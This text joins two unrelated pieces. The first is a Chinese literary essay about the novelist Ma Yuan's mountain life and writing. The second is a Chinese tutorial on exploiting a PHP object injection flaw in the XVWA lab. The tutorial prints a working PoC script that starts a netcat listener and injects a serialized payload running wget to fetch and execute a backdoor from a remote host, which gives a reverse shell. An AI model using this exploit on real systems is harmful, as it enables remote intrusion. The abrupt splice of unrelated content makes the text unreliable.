他之所以不怕，没有被吓倒，除了他自己以为的有神和唯心作为心理支撑，还有一个关键之点是几十年以来一直在帮他的习惯性的逆向思维。逆向思维让他内心强大，无比的强大，所以他比所有那些重症患者的胆子更大，神经更结实。用今天网络上的话说，他有一颗真正意义上的大心脏。别人当病是敌人，他却做朋友，而且以礼相待。可以肯定他并没有期待有殊途同归的结果，他不喜欢他们的结果，他期待的是相反的结果。他们中的一部分被重疾吓倒了，内心崩溃了，缴械投降了；他们中的另一部分选择了死磕，用刀去剜用猛药去克用射线绞杀，结果大家都知道，病人和病两败俱伤，终于同归于尽。而那不是他要的结果。
他有一整套歪理邪说，他是块冥顽不灵的茅厕石头，所有这些是否可以反证他是个当之无愧的哲学家呢？
4.一个布道者
他当年对马大湾说的那个答案，过了15年仍然没有改变。
当年他就已经发现，除了是个小说家，自己有时候也像一个小小的启蒙者。因为经常会有不相识的朋友找上门来，带着自己的疑窦和困惑也带着虔诚。他们中有的是小说家同行，有的是画家或者诗人，也有一些和艺术文学都不沾边的各行各业的人。另外一些场合，比如一些聚会或者饭局，比如经常被邀请去讲座和演说，再比如经常接受形形色色媒体的采访，还有他的十几年的教师职业，所有这些全部汇聚到一个焦点上，就是要他说话听他说话。他的话，他说的内容，他的判断，他的立场和观点，他（对某一事物或事件）的态度，林林总总不一而足。
相比之下，他的小说家职业在他生命中占的比重反而更小，而且从内容的总量上也要少许多。所以他以为与其自诩为小说家，不如叫布道者更恰切。自我之外的人群有这个需求，不管这个人群大小，不管他的话对错，他的话已经生成了客观的价值和意义。
当然他并不会满足所谓的客观。一生着迷于形而上的人毕竟个个苛刻，而且是那种不带功利色彩的苛刻。他们顽固于对抽象价值的认知，因而会蔑视带有从众趋势的价值观。他对成功的理解不是公众的叫好或者政府的肯定（包括各种层面的奖掖），所以对通过主流媒体走红的那些同样靠嘴巴立世的另一类布道者颇不以为然。
由于生活方向的转变，他人生的兴奋点也与先前有了大不同。他离开了中心的中心上海，去到边缘的边缘中缅边界。世界和中国已经从他眼前消失，代之以山寨和自然，人和人群替换成家禽家畜昆虫小动物。但是没办法，观察，思想，再观察，这已经成了他的生命定式。
对象的改变不能够带动生命定式的改变。以往纷乱的生活令他眼花缭乱，他用于观察的时间更多，从观察到思想的过程也相对更长，这也导致了他每一个回合的写作周期更长。速率更快的生活并不能带来更坚实的思想成果，这让他想起一个成语欲速不达，眼花缭乱的生活本身已经包含了生活空壳化的格局，空洞是其必然的结果。
5年的山野生活是他一辈子最安恬也最宁静的时间。太阳每天都是旧的，一成不变的节奏里没有任何意外和惊喜，但是他心里逐渐在不知不觉中已经堆积起又厚又重的宁谧，那是一种他不熟悉但又很享受的全新的能量源。喧闹的世界离他越来越远，他已经对精彩二字相当陌生。
他最近的一部作品发表在大益文学《慢》丛书上，标题是《砖红色屋顶》，也就是他自己的那片房子。主人公是他的小儿子，主要人物是他家的鸡鹅和狗。他自己的角色是爸爸，他女人的角色是妈妈。他们有一个不速之客，来自遥远的安第斯山的羊驼。整个故事是一个童话，而且这已经是他第二部童话了。写作方向的转型是否意味着他的写作已经到了无病呻吟的地步了，这一点要由他的读者去做判断。同行朋友李敬泽曾经在两人独处时认认真真问他，“老马，别来虚的，实实在在的说，寂寞不？无聊不？”他于是当真实实在在的回答说，“哪有空啊？”
他是真的没空。他那个院子虽然不算大，还是有一百几十米长的车道。他不可能每天把院子全面扫上一遍，但他不能够容忍车道上脏乱，扫一遍车道怎么也要大半个小时。家里那么多张嘴要填饱，你必得去找足够多的粮食和菜蔬，而且要把它们加工好送到它们的嘴上。你住在那么美丽的大山上，总不能辜负自然的馈赠，你每天总要散散步爬爬山吧。你有自己的林地和菜地，你总要拿出时间去施施肥浇浇水吧。你有一个7岁的小儿子，你总要教教他陪他一起玩玩吧。你住山上，你总要偶尔下山进城买一些日常用品吧。你有那么多朋友，他们从地球的各个角落跑过来看你，你总要带他们参观一下你的神仙之地，跟他们喝喝茶叙叙旧吧。你很可怜，你一天只有24小时，如果额外加给你一个任务，要你必得去寂寞一下无聊一下，你怎么办？你当真无可奈何，于是你说，“哪有空啊？”
他说他没空不是妄言，刚才列举的仅仅是他每天必须的功课，他要做的远不止这些。5年前的那片撂荒已久的旧房遗址上遍布杂草杂树，与纯粹的荒山野岭没有很大分别。他先要把土地整出来，做出若干块平面以备建房，他因此需要推土需要砌石需要修路。他要为这片未来的房子做出规划和设计，他为此动用了建筑界和美术界的朋友资源，请他们按照自己的构想在纸面上完成第一步。
他不是个有钱人，所以他必得精打细算。他要跑所有的建材市场石场砖场水泥堆栈，比照材料的质量价格之后确定购买方略。他要联系运输车辆上山送货，山上建房的成本相比之下很高，运费和人工是主要的增加部分。他要联系不同的手艺人群落，木工瓦工钢筋工电焊工，他要去看他们做过的工程，质量和手艺是他关心的两个主项。他要跟他选中的手艺人团队讨论图纸和施工方案，要确保他们对自己的工程了然于心。他要协调不同团队之间的工程进度，使之能够顺利完成工种之间的进度对接。他要调和不同工种之间可能产生的各类大小冲突，他要调和工人之间随时发生的摩擦和矛盾。他要关心建筑物各个部分的外观和颜色，使之在视觉系统上尽可能的和谐。而且他随时随地需要关心自己的口袋，关心预算的控制连同后续资金的到位与否。
所有这些事，女人都帮不上他的忙，她不懂这些。所以所有的工作量都落到他一个人身上。他原本一介书生，手无缚鸡之力，现在他要独立完成规划设计连同建筑的指挥和指导，而且永远是现场一线的指挥和指导。他是自己新生活的策划师规划师设计师建筑师和现场监理，经常还要兼做搬运工和混凝土养护工。而这样的事情一做就是三年。
这还不是全部，他原来的那份社会承担并没有因为他离开上海而解除。他偶尔会去参加一些文学界的活动，偶尔要去演讲和讲座，偶尔要去参与一些社会公益，偶尔要去应酬(会议或者饭局)。他还得坚持自己的本行，他在这5年里改订了一部六七十万字的长篇旧作，完成了三部长篇新作，另有两部童话问世。尽管早过了一甲子，早成了名副其实的老作家，他的写作仍然保持了相当高的热情和进度。所有这些成果背后凝结的都是劳动和时间。
与此同时，他从无或辍在规划和构想下一本书，再下一本书。对于他这个职业而言，那才是真正艰巨的工作，也可以说是真正充满乐趣的工作。
里唆那么多，其实所有这些都不是他生命中最大的兴趣点。我不说你们也可能已经猜到，对了，就是阅读。他的思想，连同他的写作，其滋养的主要源泉便来自阅读。这几年里因为两部童话的写作，他重读和新读了大量的童话经典，读童话让他重新获取了童稚和儿童那样的想象力，让他觉得自己也年轻了，让他找到了孩子的视角。他说过几次，回到童年的感觉真好。活力重现令他精神百倍，他甚至忘了自己的年龄，声称要写足10部童话。
以他当下的精气神和身体状况，回望他过来几年的写作状态，他在2011年写作《牛鬼蛇神》时发愿要再写20本新书或许不是虚言。
历数一下：《牛鬼蛇神》，《纠缠》，《湾格花原》，《荒唐》，《我的祸福相依的日子》，以上已出版；《姑娘寨》，《砖红色屋顶》，《玉央》（已改订的大部头长篇），以上已列入出版计划；《危言》，《三眼叔叔和他的灰鹅》，以上已进入写作阶段。
短短5年，再著20本新书的宏愿已经完成近半。他今天很像那个他年轻时心目中的英雄扎托贝克，伟大的捷克斯洛伐克长跑运动员，精力过人且脚步不停，一路向前，在早过了运动的黄金年龄之后依旧疯狂，成为后世许多男人永远的偶像。是扎托贝克在激励他吗？
5.叠像
如上四个角色叠在一起，那就是当年的那个写小说的汉人马原。30年已矣！
也可以在其中加一刀，将15年做多一个剖面：
写小说的马原；
布道者马原；
病人马原；
哲学家马原；
庸俗的幸福男人马原。
马原曾经的读者现在的读者，马原的朋友们，还有马原的家人连同马原的亲戚，你们更愿意认同哪一个马原呢？
注：本文原标题为《给自己定位》，当前标题为编辑所加。
技术分享：PHP序列化/对象注入漏洞的利用
本文是关于PHP序列化/对象注入漏洞分析的短篇，里面讲述了如何获取主机的远程shell。如果你想了解更多关于PHP序列化的内容，请访问这个链接。如果你想自行测试这个漏洞，你可以通过XVWA和Kevgir进行操作。
漏洞利用的第一步，我们开始测试目标应用是否存在PHP序列化。为了辅助测试，我们使用了Burpsuite的SuperSerial插件，下载地址在这里。它会被动检测PHP和Java序列化的存在。
分析
我们检测到了应用里使用了PHP序列化，所以我们可以开始确认应用代码里是否含有远程代码执行漏洞。需要注意的是，序列化对象是从参数“r”取来的：
$var1=unserialize($_REQUEST['r']);然后再进行反序列化和eval：
eval($this->inject);接着，执行：
echo "<br/>".$var1[0]." - ".$var1[1];有了这些，如果我们绕过了参数r的PHP序列化对象，那么就可以获得代码执行漏洞了！
< ?php error_reporting(E_ALL); class PHPObjectInjection{ public $inject; function __construct(){ } function __wakeup(){ if(isset($this->inject)){ eval($this->inject); } } } //?r=a:2:{i:0;s:4:"XVWA";i:1;s:33:"XtremeVulnerable Web Application";} if(isset($_REQUEST['r'])){ $var1=unserialize($_REQUEST['r']); if(is_array($var1)){ echo " ".$var1[0]." - ".$var1[1]; } }else{ echo "parameter is missing"; } ? >
漏洞利用
为了利用这个漏洞，我们创建了一个简单的PHP脚本来自动生成PHP序列化payload，以及在目标远程主机上运行我们想要的命令。然后，我创建了一个通用的PHP反弹shell，下载地址如下：
http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz注意：你需要把这个文件传到web服务器上，改动反弹shell脚本里面的本地ip和端口，以及下面的利用代码：
<?php /* PHP Object Injection PoC Exploit by 1N3@CrowdShield - https://crowdshield.com A simple PoC to exploit PHP ObjectInjections flaws and gain remote shell access. Shouts to @jstnkndy @yappare for theassist! NOTE: This requireshttp://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gzsetup on a remote host with a connect back IP configured */ print"==============================================================================/r/n"; print "PHP Object Injection PoCExploit by 1N3 @CrowdShield - https://crowdshield.com/r/n"; print"==============================================================================/r/n"; print "[+] Generating serializedpayload...[OK]/r/n"; print "[+] Launching reverselistener...[OK]/r/n"; system('gnome-terminal -x sh -c /'nc -lvvp1234/''); class PHPObjectInjection { //CHANGE URL/FILENAME TO MATCH YOUR SETUP public $inject = "system('wget http://yourhost/phpobjbackdoor.txt-O phpobjbackdoor.php && php phpobjbackdoor.php');"; } $url ='http://targeturl/xvwa/vulnerabilities/php_object_injection/?r='; // CHANGE TOTARGET URL/PARAMETER $url = $url . urlencode(serialize(newPHPObjectInjection)); print "[+] Sendingexploit...[OK]/r/n"; print "[+] Dropping down tointeractive shell...[OK]/r/n"; print"==============================================================================/r/n"; $response =file_get_contents("$url"); ? >
Demo
现在咱们的利用脚本已经就绪，我们可以执行它来得到远程主机上的反弹shell，用来远程执行命令！
视频展示如下：
*参考来源：CD，FB小编dawner编译，转载请注明来自1024rd黑客与极客（1024rd.COM）